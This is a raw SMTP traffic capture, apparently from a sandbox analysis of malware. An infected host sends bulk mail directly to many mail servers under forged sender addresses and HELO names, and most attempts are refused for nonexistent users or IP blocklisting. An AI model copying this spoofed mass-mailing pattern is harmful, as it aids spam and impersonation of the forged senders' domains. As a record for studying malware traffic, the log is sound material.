Jan 7, 2022 15:43:21.514405012 CET	25	49843	142.250.150.26	192.168.2.6	250 2.1.0 OK bq7si5331985lfb.196 - gsmtp
Jan 7, 2022 15:43:21.514549971 CET	49843	25	192.168.2.6	142.250.150.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:21.578166008 CET	25	49843	142.250.150.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser bq7si5331985lfb.196 - gsmtp
Jan 7, 2022 15:43:21.578293085 CET	49843	25	192.168.2.6	142.250.150.26	QUIT
Jan 7, 2022 15:43:21.734926939 CET	25	49831	74.125.200.26	192.168.2.6	250 2.1.0 OK d3si5413512pfu.28 - gsmtp
Jan 7, 2022 15:43:21.738409996 CET	49831	25	192.168.2.6	74.125.200.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:21.852637053 CET	49830	25	192.168.2.6	35.82.253.27	. QUIT
Jan 7, 2022 15:43:22.251545906 CET	25	49831	74.125.200.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser d3si5413512pfu.28 - gsmtp
Jan 7, 2022 15:43:22.251662970 CET	49831	25	192.168.2.6	74.125.200.26	QUIT
Jan 7, 2022 15:43:22.308248043 CET	25	49849	142.251.31.27	192.168.2.6	220 mx.google.com ESMTP dn18si2841640ejc.15 - gsmtp
Jan 7, 2022 15:43:22.308366060 CET	49849	25	192.168.2.6	142.251.31.27	HELO aspmx.l.google.com
Jan 7, 2022 15:43:22.327182055 CET	25	49845	142.250.157.26	192.168.2.6	220 mx.google.com ESMTP j5si6263250pfc.119 - gsmtp
Jan 7, 2022 15:43:22.327318907 CET	49845	25	192.168.2.6	142.250.157.26	HELO aspmx4.googlemail.com
Jan 7, 2022 15:43:22.339348078 CET	25	49849	142.251.31.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:22.339494944 CET	49849	25	192.168.2.6	142.251.31.27	MAIL FROM: <sec@xyz.com>
Jan 7, 2022 15:43:22.356861115 CET	49832	25	192.168.2.6	148.163.149.218	. QUIT
Jan 7, 2022 15:43:22.366369009 CET	25	49849	142.251.31.27	192.168.2.6	250 2.1.0 OK dn18si2841640ejc.15 - gsmtp
Jan 7, 2022 15:43:22.366482019 CET	49849	25	192.168.2.6	142.251.31.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:22.403443098 CET	25	49849	142.251.31.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser dn18si2841640ejc.15 - gsmtp
Jan 7, 2022 15:43:22.403563976 CET	49849	25	192.168.2.6	142.251.31.27	QUIT
Jan 7, 2022 15:43:22.510591984 CET	25	49850	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP w13si5385131lji.357 - gsmtp
Jan 7, 2022 15:43:22.510721922 CET	49850	25	192.168.2.6	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:43:22.547075987 CET	25	49832	148.163.149.218	192.168.2.6	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:43:22.557004929 CET	25	49830	35.82.253.27	192.168.2.6	250 2.0.0 Ok: queued as 6A0E84020F 221 2.0.0 Bye
Jan 7, 2022 15:43:22.567560911 CET	25	49850	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:22.567671061 CET	49850	25	192.168.2.6	142.250.150.27	MAIL FROM: <sec@xyz.com>
Jan 7, 2022 15:43:22.621375084 CET	25	49850	142.250.150.27	192.168.2.6	250 2.1.0 OK w13si5385131lji.357 - gsmtp
Jan 7, 2022 15:43:22.621495008 CET	49850	25	192.168.2.6	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:22.686074972 CET	25	49850	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser w13si5385131lji.357 - gsmtp
Jan 7, 2022 15:43:22.686206102 CET	49850	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:43:22.702980995 CET	25	49851	104.47.56.110	192.168.2.6	220 DM3NAM02FT047.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:19 +0000
Jan 7, 2022 15:43:22.703181982 CET	49851	25	192.168.2.6	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:22.739003897 CET	25	49850	142.250.150.27	192.168.2.6	221 2.0.0 closing connection w13si5385131lji.357 - gsmtp
Jan 7, 2022 15:43:22.755897045 CET	25	49831	74.125.200.26	192.168.2.6	221 2.0.0 closing connection d3si5413512pfu.28 - gsmtp
Jan 7, 2022 15:43:22.760305882 CET	25	49845	142.250.157.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:22.760437012 CET	49845	25	192.168.2.6	142.250.157.26	MAIL FROM: <george1979@mail.aim.com>
Jan 7, 2022 15:43:22.792757034 CET	25	49852	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP k3si4777833lji.580 - gsmtp
Jan 7, 2022 15:43:22.792859077 CET	49852	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:43:22.835190058 CET	25	49851	104.47.56.110	192.168.2.6	250 DM3NAM02FT047.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:22.835328102 CET	49851	25	192.168.2.6	104.47.56.110	MAIL FROM: <secur@contoso.com>
Jan 7, 2022 15:43:22.847413063 CET	25	49852	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:22.847539902 CET	49852	25	192.168.2.6	142.250.150.27	MAIL FROM: <sec@xyz.com>
Jan 7, 2022 15:43:22.899965048 CET	25	49852	142.250.150.27	192.168.2.6	250 2.1.0 OK k3si4777833lji.580 - gsmtp
Jan 7, 2022 15:43:22.900088072 CET	49852	25	192.168.2.6	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:22.962508917 CET	25	49852	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser k3si4777833lji.580 - gsmtp
Jan 7, 2022 15:43:22.962620020 CET	49852	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:43:22.968360901 CET	25	49851	104.47.56.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:22.968482018 CET	49851	25	192.168.2.6	104.47.56.110	RCPT TO: <andreas@contoso.com>
Jan 7, 2022 15:43:23.100711107 CET	25	49851	104.47.56.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT047.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:23.100881100 CET	49851	25	192.168.2.6	104.47.56.110	QUIT
Jan 7, 2022 15:43:23.190985918 CET	25	49845	142.250.157.26	192.168.2.6	250 2.1.0 OK j5si6263250pfc.119 - gsmtp
Jan 7, 2022 15:43:23.192662954 CET	49845	25	192.168.2.6	142.250.157.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:23.234616995 CET	25	49851	104.47.56.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:23.634848118 CET	25	49845	142.250.157.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser j5si6263250pfc.119 - gsmtp
Jan 7, 2022 15:43:23.634999037 CET	49845	25	192.168.2.6	142.250.157.26	QUIT
Jan 7, 2022 15:43:23.818485022 CET	25	49853	74.125.200.27	192.168.2.6	220 mx.google.com ESMTP c18si2794462pjr.142 - gsmtp
Jan 7, 2022 15:43:23.818640947 CET	49853	25	192.168.2.6	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:43:24.024843931 CET	25	49855	173.194.202.26	192.168.2.6	220 mx.google.com ESMTP e11si5523605pfv.248 - gsmtp
Jan 7, 2022 15:43:24.025569916 CET	49855	25	192.168.2.6	173.194.202.26	HELO aspmx5.googlemail.com
Jan 7, 2022 15:43:24.222001076 CET	25	49855	173.194.202.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:24.222243071 CET	49855	25	192.168.2.6	173.194.202.26	MAIL FROM: <george1979@mail.aim.com>
Jan 7, 2022 15:43:24.236162901 CET	25	49856	94.152.34.135	192.168.2.6	220 herrain.snat.e-kei.pl ESMTP
Jan 7, 2022 15:43:24.236346006 CET	49856	25	192.168.2.6	94.152.34.135	HELO oopp.pl
Jan 7, 2022 15:43:24.276053905 CET	25	49856	94.152.34.135	192.168.2.6	250 herrain.snat.e-kei.pl
Jan 7, 2022 15:43:24.276279926 CET	49856	25	192.168.2.6	94.152.34.135	MAIL FROM: <serv@oopp.pl>
Jan 7, 2022 15:43:24.316729069 CET	25	49856	94.152.34.135	192.168.2.6	250 ok
Jan 7, 2022 15:43:24.316930056 CET	49856	25	192.168.2.6	94.152.34.135	RCPT TO: <vojtek_657@oopp.pl>
Jan 7, 2022 15:43:24.341815948 CET	25	49853	74.125.200.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:24.344723940 CET	49853	25	192.168.2.6	74.125.200.27	MAIL FROM: <sec@xyz.com>
Jan 7, 2022 15:43:24.416568995 CET	25	49855	173.194.202.26	192.168.2.6	250 2.1.0 OK e11si5523605pfv.248 - gsmtp
Jan 7, 2022 15:43:24.417674065 CET	49855	25	192.168.2.6	173.194.202.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:24.619720936 CET	25	49855	173.194.202.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser e11si5523605pfv.248 - gsmtp
Jan 7, 2022 15:43:24.620374918 CET	49855	25	192.168.2.6	173.194.202.26	QUIT
Jan 7, 2022 15:43:24.851279020 CET	25	49853	74.125.200.27	192.168.2.6	250 2.1.0 OK c18si2794462pjr.142 - gsmtp
Jan 7, 2022 15:43:24.851612091 CET	49853	25	192.168.2.6	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:43:25.361394882 CET	25	49856	94.152.34.135	192.168.2.6	553 sorry, that domain isn't in my list of allowed rcpthosts / Ta domena nie znajduje sie na liscie obslugiwanych przez serwer, jest zablokowana lub nieprawidlowo skonfigurowano uwierzytelnianie SMTP (#5.5.3 - vuser)
Jan 7, 2022 15:43:25.361535072 CET	49856	25	192.168.2.6	94.152.34.135	QUIT
Jan 7, 2022 15:43:25.368478060 CET	25	49853	74.125.200.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser c18si2794462pjr.142 - gsmtp
Jan 7, 2022 15:43:25.368664026 CET	49853	25	192.168.2.6	74.125.200.27	QUIT
Jan 7, 2022 15:43:25.401247978 CET	25	49856	94.152.34.135	192.168.2.6	221 herrain.snat.e-kei.pl
Jan 7, 2022 15:43:25.696578979 CET	25	49859	104.47.56.110	192.168.2.6	220 DM3NAM02FT041.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:21 +0000
Jan 7, 2022 15:43:25.698901892 CET	49859	25	192.168.2.6	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:25.830799103 CET	25	49859	104.47.56.110	192.168.2.6	250 DM3NAM02FT041.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:25.830914021 CET	49859	25	192.168.2.6	104.47.56.110	MAIL FROM: <serv@contoso.com>
Jan 7, 2022 15:43:25.872883081 CET	25	49853	74.125.200.27	192.168.2.6	221 2.0.0 closing connection c18si2794462pjr.142 - gsmtp
Jan 7, 2022 15:43:25.963852882 CET	25	49859	104.47.56.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:25.964029074 CET	49859	25	192.168.2.6	104.47.56.110	RCPT TO: <jukka@contoso.com>
Jan 7, 2022 15:43:26.097423077 CET	25	49859	104.47.56.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT041.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:26.097544909 CET	49859	25	192.168.2.6	104.47.56.110	QUIT
Jan 7, 2022 15:43:26.228992939 CET	25	49859	104.47.56.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:32.187480927 CET	25	49870	104.47.57.110	192.168.2.6	220 SN1NAM02FT0018.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:31 +0000
Jan 7, 2022 15:43:32.187958002 CET	49870	25	192.168.2.6	104.47.57.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:32.316890001 CET	25	49870	104.47.57.110	192.168.2.6	250 SN1NAM02FT0018.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:32.317075968 CET	49870	25	192.168.2.6	104.47.57.110	MAIL FROM: <serv@contoso.com>
Jan 7, 2022 15:43:32.447923899 CET	25	49870	104.47.57.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:32.844958067 CET	49870	25	192.168.2.6	104.47.57.110	RCPT TO: <quentin@contoso.com>
Jan 7, 2022 15:43:32.974661112 CET	25	49870	104.47.57.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [SN1NAM02FT0018.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:32.974807024 CET	49870	25	192.168.2.6	104.47.57.110	QUIT
Jan 7, 2022 15:43:33.103619099 CET	25	49870	104.47.57.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:38.004328012 CET	25	49876	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:37 +0200
Jan 7, 2022 15:43:38.004502058 CET	49876	25	192.168.2.6	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:43:38.051661968 CET	25	49876	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:38.051801920 CET	49876	25	192.168.2.6	193.239.68.121	MAIL FROM: <alice.anderson@fastmail.fm>
Jan 7, 2022 15:43:38.098649025 CET	25	49876	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:38.098880053 CET	49876	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:38.148308039 CET	25	49876	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:38.148452044 CET	49876	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:38.194029093 CET	25	49876	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:38.235593081 CET	25	49877	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:38 +0200
Jan 7, 2022 15:43:38.235829115 CET	49877	25	192.168.2.6	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:43:38.477324963 CET	25	49877	193.239.68.121	192.168.2.6	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:38 +0200
Jan 7, 2022 15:43:38.610160112 CET	49877	25	192.168.2.6	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:43:38.652405977 CET	25	49877	193.239.68.121	192.168.2.6	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:38.652564049 CET	49877	25	192.168.2.6	193.239.68.121	MAIL FROM: <alice.anderson@fastmail.fm>
Jan 7, 2022 15:43:38.694840908 CET	25	49877	193.239.68.121	192.168.2.6	250 OK
Jan 7, 2022 15:43:38.695102930 CET	49877	25	192.168.2.6	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:38.738782883 CET	25	49877	193.239.68.121	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:38.738960981 CET	49877	25	192.168.2.6	193.239.68.121	QUIT
Jan 7, 2022 15:43:38.781066895 CET	25	49877	193.239.68.121	192.168.2.6	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:43:39.200932026 CET	25	49880	104.47.56.110	192.168.2.6	220 DM3NAM02FT038.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:38 +0000
Jan 7, 2022 15:43:39.201159954 CET	49880	25	192.168.2.6	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:39.332901001 CET	25	49880	104.47.56.110	192.168.2.6	250 DM3NAM02FT038.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:39.336102009 CET	49880	25	192.168.2.6	104.47.56.110	MAIL FROM: <serv@contoso.com>
Jan 7, 2022 15:43:39.468523979 CET	25	49880	104.47.56.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:39.468782902 CET	49880	25	192.168.2.6	104.47.56.110	RCPT TO: <guy@contoso.com>
Jan 7, 2022 15:43:39.601094961 CET	25	49880	104.47.56.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT038.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:39.601353884 CET	49880	25	192.168.2.6	104.47.56.110	QUIT
Jan 7, 2022 15:43:39.732924938 CET	25	49880	104.47.56.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:41.174174070 CET	25	49883	142.250.157.26	192.168.2.6	220 mx.google.com ESMTP m15si6271447pgu.513 - gsmtp
Jan 7, 2022 15:43:41.174392939 CET	49883	25	192.168.2.6	142.250.157.26	HELO aspmx4.googlemail.com
Jan 7, 2022 15:43:41.225184917 CET	25	49885	104.47.56.110	192.168.2.6	220 DM3NAM02FT026.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:40 +0000
Jan 7, 2022 15:43:41.225342989 CET	49885	25	192.168.2.6	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:41.357626915 CET	25	49885	104.47.56.110	192.168.2.6	250 DM3NAM02FT026.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:41.357758045 CET	49885	25	192.168.2.6	104.47.56.110	MAIL FROM: <serv@contoso.com>
Jan 7, 2022 15:43:41.490817070 CET	25	49885	104.47.56.110	192.168.2.6	250 2.1.0 Sender OK
Jan 7, 2022 15:43:41.490994930 CET	49885	25	192.168.2.6	104.47.56.110	RCPT TO: <quinque@contoso.com>
Jan 7, 2022 15:43:41.607702017 CET	25	49883	142.250.157.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:41.607868910 CET	49883	25	192.168.2.6	142.250.157.26	MAIL FROM: <sec@contoso.es>
Jan 7, 2022 15:43:41.624017954 CET	25	49885	104.47.56.110	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [DM3NAM02FT026.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:41.624155045 CET	49885	25	192.168.2.6	104.47.56.110	QUIT
Jan 7, 2022 15:43:41.756037951 CET	25	49885	104.47.56.110	192.168.2.6	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:43:42.038966894 CET	25	49883	142.250.157.26	192.168.2.6	250 2.1.0 OK m15si6271447pgu.513 - gsmtp
Jan 7, 2022 15:43:42.039112091 CET	49883	25	192.168.2.6	142.250.157.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:42.476618052 CET	25	49883	142.250.157.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m15si6271447pgu.513 - gsmtp
Jan 7, 2022 15:43:42.476795912 CET	49883	25	192.168.2.6	142.250.157.26	QUIT
Jan 7, 2022 15:43:42.530978918 CET	25	49890	173.194.79.27	192.168.2.6	220 mx.google.com ESMTP ee36si2555730edb.149 - gsmtp
Jan 7, 2022 15:43:42.531172991 CET	49890	25	192.168.2.6	173.194.79.27	HELO aspmx.l.google.com
Jan 7, 2022 15:43:42.559611082 CET	25	49890	173.194.79.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:42.559762955 CET	49890	25	192.168.2.6	173.194.79.27	MAIL FROM: <sec@contoso.es>
Jan 7, 2022 15:43:42.586628914 CET	25	49890	173.194.79.27	192.168.2.6	250 2.1.0 OK ee36si2555730edb.149 - gsmtp
Jan 7, 2022 15:43:42.586766958 CET	49890	25	192.168.2.6	173.194.79.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:42.619791031 CET	25	49890	173.194.79.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser ee36si2555730edb.149 - gsmtp
Jan 7, 2022 15:43:42.620328903 CET	49890	25	192.168.2.6	173.194.79.27	QUIT
Jan 7, 2022 15:43:42.726939917 CET	25	49891	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP m13si5810162ljp.137 - gsmtp
Jan 7, 2022 15:43:42.727154016 CET	49891	25	192.168.2.6	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:43:42.782473087 CET	25	49891	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:42.782809973 CET	49891	25	192.168.2.6	142.250.150.27	MAIL FROM: <sec@contoso.es>
Jan 7, 2022 15:43:42.835537910 CET	25	49891	142.250.150.27	192.168.2.6	250 2.1.0 OK m13si5810162ljp.137 - gsmtp
Jan 7, 2022 15:43:42.836240053 CET	49891	25	192.168.2.6	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:42.897752047 CET	25	49891	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m13si5810162ljp.137 - gsmtp
Jan 7, 2022 15:43:42.897903919 CET	49891	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:43:42.907737017 CET	25	49883	142.250.157.26	192.168.2.6	221 2.0.0 closing connection m15si6271447pgu.513 - gsmtp
Jan 7, 2022 15:43:42.950494051 CET	25	49891	142.250.150.27	192.168.2.6	221 2.0.0 closing connection m13si5810162ljp.137 - gsmtp
Jan 7, 2022 15:43:43.004687071 CET	25	49894	142.250.150.27	192.168.2.6	220 mx.google.com ESMTP f43si6496364lfv.544 - gsmtp
Jan 7, 2022 15:43:43.004833937 CET	49894	25	192.168.2.6	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:43:43.059803963 CET	25	49894	142.250.150.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:43.059937954 CET	49894	25	192.168.2.6	142.250.150.27	MAIL FROM: <sec@contoso.es>
Jan 7, 2022 15:43:43.113159895 CET	25	49894	142.250.150.27	192.168.2.6	250 2.1.0 OK f43si6496364lfv.544 - gsmtp
Jan 7, 2022 15:43:43.113688946 CET	49894	25	192.168.2.6	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:43.174428940 CET	25	49894	142.250.150.27	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser f43si6496364lfv.544 - gsmtp
Jan 7, 2022 15:43:43.174566984 CET	49894	25	192.168.2.6	142.250.150.27	QUIT
Jan 7, 2022 15:43:43.227349997 CET	25	49894	142.250.150.27	192.168.2.6	221 2.0.0 closing connection f43si6496364lfv.544 - gsmtp
Jan 7, 2022 15:43:43.383765936 CET	25	49900	138.201.223.6	192.168.2.6	220-argon.studio4web.com ESMTP Exim 4.94.2 #2 Fri, 07 Jan 2022 15:43:43 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 7, 2022 15:43:43.384084940 CET	49900	25	192.168.2.6	138.201.223.6	HELO mail.dva.hr
Jan 7, 2022 15:43:43.406230927 CET	25	49900	138.201.223.6	192.168.2.6	250 argon.studio4web.com Hello mail.dva.hr [102.129.143.96]
Jan 7, 2022 15:43:43.406830072 CET	49900	25	192.168.2.6	138.201.223.6	MAIL FROM: <sec@dva.hr>
Jan 7, 2022 15:43:43.428942919 CET	25	49900	138.201.223.6	192.168.2.6	250 OK
Jan 7, 2022 15:43:43.429162025 CET	49900	25	192.168.2.6	138.201.223.6	RCPT TO: <jedan@dva.hr>
Jan 7, 2022 15:43:43.456599951 CET	25	49900	138.201.223.6	192.168.2.6	550-Verification failed for <sec@dva.hr> 550-No Such User Here 550 Sender verify failed
Jan 7, 2022 15:43:43.456753969 CET	49900	25	192.168.2.6	138.201.223.6	QUIT
Jan 7, 2022 15:43:43.479886055 CET	25	49900	138.201.223.6	192.168.2.6	221 argon.studio4web.com closing connection
Jan 7, 2022 15:43:43.564208031 CET	25	49896	173.194.202.27	192.168.2.6	220 mx.google.com ESMTP h187si5245362pfb.252 - gsmtp
Jan 7, 2022 15:43:43.564347982 CET	49896	25	192.168.2.6	173.194.202.27	HELO aspmx5.googlemail.com
Jan 7, 2022 15:43:43.618297100 CET	25	49902	130.193.9.47	192.168.2.6	550 Reverse lookup of your IP failed
Jan 7, 2022 15:43:43.761348963 CET	25	49896	173.194.202.27	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:43.761455059 CET	49896	25	192.168.2.6	173.194.202.27	MAIL FROM: <sec@contoso.es>
Jan 7, 2022 15:43:43.776706934 CET	25	49897	104.47.56.110	192.168.2.6	220 DM3NAM02FT060.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:39 +0000
Jan 7, 2022 15:43:43.776890993 CET	49897	25	192.168.2.6	104.47.56.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:43:43.909116983 CET	25	49897	104.47.56.110	192.168.2.6	250 DM3NAM02FT060.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:43.910600901 CET	49897	25	192.168.2.6	104.47.56.110	MAIL FROM: <sec@contoso.com>
Jan 7, 2022 15:43:43.910727978 CET	25	49904	108.177.127.26	192.168.2.6	220 mx.google.com ESMTP z7si2936573edb.35 - gsmtp
Jan 7, 2022 15:43:43.910871983 CET	49904	25	192.168.2.6	108.177.127.26	HELO aspmx.l.google.com
Jan 7, 2022 15:43:43.939996958 CET	25	49904	108.177.127.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:43.940114975 CET	49904	25	192.168.2.6	108.177.127.26	MAIL FROM: <jane.scott@email.myway.com>
Jan 7, 2022 15:43:43.955852032 CET	25	49896	173.194.202.27	192.168.2.6	250 2.1.0 OK h187si5245362pfb.252 - gsmtp
Jan 7, 2022 15:43:43.955962896 CET	49896	25	192.168.2.6	173.194.202.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:43:43.967020988 CET	25	49904	108.177.127.26	192.168.2.6	250 2.1.0 OK z7si2936573edb.35 - gsmtp
Jan 7, 2022 15:43:43.967184067 CET	49904	25	192.168.2.6	108.177.127.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:43:44.003647089 CET	25	49904	108.177.127.26	192.168.2.6	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser z7si2936573edb.35 - gsmtp
